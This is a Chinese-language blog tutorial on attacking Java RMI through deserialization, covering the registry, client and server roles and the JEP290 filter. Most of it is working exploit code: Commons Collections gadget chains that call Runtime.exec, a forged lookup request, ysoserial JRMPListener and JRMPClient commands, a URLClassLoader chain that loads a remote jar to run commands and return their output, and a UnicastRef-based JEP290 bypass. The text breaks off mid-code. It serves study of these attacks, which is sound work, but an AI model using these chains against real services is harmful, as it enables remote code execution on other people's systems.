rmi反序列化

JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。

RMI调用逻辑

imgRMI主要分为三部分

  • RMI Registry注册中心
  • RMI Client 客户端
  • RMI Server服务端

RMI的实现

注册中心代码

创建一个继承java.rmi.Remote的接口

1
2
3
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}

创建注册中心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class Registry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true) ;
}
}

服务端代码

先创建一个继承java.rmi.Remote的接口

1
2
3
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
  • 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起没关系)
  • 同时需要继承Remote类
  • 接口的方法需要声明java.rmi.RemoteException报错
  • 服务端实现这个远程接口

继承UnicastRemoteObject类,实现上面的接口

1
2
3
4
5
6
7
8
9
public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
}

public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("baicany want " + from + "!!");
return "hello";
}
}
  • 实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法)
  • 构造函数需要抛出一个RemoteException错误
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
  • 注册远程对象

写服务端的启动类,用于创建远程对象注册表和注册远程对象

1
2
3
4
5
6
7
8
9
10
11
public class HelloServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("hello", new HelloImpl());
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}

关于绑定的地址很多地方会rmi://ip:port/Objectname的形式,实际上看rebind源码就知道RMI:写不写都行,port如果默认是1099,不写会自动补上,其他端口必须写

客户端代码

创建接口类

1
2
3
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}

连接注册服务 查找hello对象

1
2
3
4
5
6
7
8
9
10
11
public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("hello");
System.out.println(hello.sayHello("flag"));
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}

启动服务端之后,在启动客户端看下.

服务端输出了

image-20230727203708741

客户端输出了hello

攻击方法

服务端攻击注册中心

从第一张图可以看到服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget看下

我们与注册中心进行交互可以使用如下几种方式

  • list
  • bind
  • rebind
  • unbind
  • lookup

当调用bind时,会用readObject读出参数名以及远程对象,此时则可以利用

修改服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class HelloServer {
public static void main(String[] args) throws Exception {
try {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

Map tmpMap = new HashMap();
tmpMap.put("pwn", badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("hello1", remote);
} catch (Exception e) {
e.printStackTrace();
}s
}
}

Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象

在服务端执行这段代码 注册中心计算器会弹出,这段代码就是ysoserial工具的RMIRegistryExploit代码,debug看下注册中心执行过程

触发反序列化操作位置

1
sun.rmi.registry.RegistryImpl_Skel#dispatch

image-20230727205631861

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 736237439 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

dispatch里面对应关系如下

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

unbind&lookup

unbind&lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

这里也有readObject,但是和bind以及rebind不一样的是只能传入String类型,这里我们可以通过伪造连接请求进行利用,修改lookup方法代码使其可以传入对象,原先的lookup方法

Registry_Stub#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;


public class Client {

public static void main(String[] args) throws Exception {

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}

注册中心攻击客户端

此方法可以攻击客户端和服务端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,命令如下

1
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 'calc'

然后使用上面客户端的代码去访问

就成功实现客户端的RCE

debug看下客户端代码代码位置sun.rmi.registry.RegistryImpl_Stub#lookup

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.

客户端攻击注册中心

1.直接启动上面的注册中心代码

2.借助ysoserial项目JRMPClient攻击注册中心命令

执行完命令后计算器直接弹出来了,原因是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

debug注册中心代码看下。

1
sun.rmi.transport.DGCImpl_Skel#dispatch

image-20230727215456958可以看到这里进行了反序列化操作。

列下调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 286880721 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景。

1.服务端返回参数为Object对象
2.远程加载对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以cc1为例

恶意类LocalUser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;

public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public Object getUser(){

InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

}catch(Exception e){
e.printStackTrace();
}

return (Object)handler;
}
}

User接口

1
2
3
4
5
import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
public Object getUser() throws RemoteException;
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);

System.out.println("registry is running...");

System.out.println("liming is bind in registry");

CountDownLatch latch=new CountDownLatch(1);

latch.await();
}

}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Client {

public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}

当客户端调用服务端绑定的远程对象的getUser方法时,将反序列化服务端传来的恶意远程对象。此时将触发RCE

加载远程对象

这个条件十分十分苛刻,在现实生活中基本不可能碰到。

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

java.security.policy这个默认是没有配置的,需要我们手动去配置

https://paper.seebug.org/1091/#serverrmi-server

攻击服务端

上面说了利用注册中心攻击客户端,同样的方法也可以攻击服务端,这里说一下客户端攻击服务端的方式

当服务端的远程方法存在Object参数的情况下

如果服务端的某个方法,传递的参数是Object类型的参数,当服务端接收数据时,就会调用readObject,所以我们可以从这个角度入手来攻击服务端。

我们写一个addUser方法,是接收Object类型参数的

1
2
3
4
5
6
import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
public Object getUser() throws RemoteException;
public void addUser(Object user) throws RemoteException;
}

当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化。

Client Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {

public static void main(String[] args) throws Exception {

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(handler);

}
}

利用URLClassLoader实现回显攻击

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

远程demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

通过如下命令制作成jar包

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

JEP290及其绕过

这部分打算后面来深入了

JEP290介绍

JEP290机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的过程中,新增了一个filterCheck方法,所以,任何反序列化操作都会经过这个filterCheck方法,利用checkInput方法来对序列化数据进行检测,如果有任何不合格的检测,Filter将返回REJECTED。但是jep290filter需要手动设置,通过setObjectInputFilter来设置filter,如果没有设置,还是不会有白名单。

JDK6u141JDK7u131JDK 8u121加入了JEP 290限制,JEP 290过滤策略有

进程级过滤器

可以将进程级序列化过滤器作为命令行参数-Djdk.serialFilter =传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。

自定义过滤器

可以使用自定义过滤器来重写特定流的进程级过滤器

内置过滤器

JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。

这里我把jdk版本换成jdk1.8.0_181,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:

1
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a

debug看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sun.rmi.registry.RegistryImpl#registryFilter
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

白名单列表:

  • String.class
  • Number.class
  • Remote.class
  • Proxy.class
  • UnicastRef.class
  • RMIClientSocketFactory.class
  • RMIServerSocketFactory.class
  • ActivationID.class
  • UID.class

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

UnicastRef对象

用UnicastRef对象新建一个RMI连接绕过JEP290的限制,看下ysoserial的JRMPClient的payload

img

这几行代码会向指定的RMI Registry发起请求,并且在白名单列表里面,在看下服务端和客户端调用LocateRegistry.getRegistry方法的代码。

代码位置java.rmi.registry#getRegistry

1
2
3
4
5
6
7
8
9
    LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

和payload发起RMI Registry请求代码是一样的。

先用ysoserial启动RMI registryjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后把这个payload放在服务端bind看下

1
2
3
4
5
6
7
8
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
registry.bind("hello", proxy);

当我们调用bind方法后,会通过UnicastRef对象中存储的信息与注册中心进行通信:

这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:

1
ref.readExternal(in);

UnicastRef#readExternal

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

LiveRef#read

1
2
3
4
5
6
7
8
9
10
11
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
TCPEndpoint var2;
if (var1) {
var2 = TCPEndpoint.read(var0);
} else {
var2 = TCPEndpoint.readHostPortFormat(var0);
}

ObjID var3 = ObjID.read(var0);
boolean var4 = var0.readBoolean();
LiveRef var5 = new LiveRef(var3, var2, false);

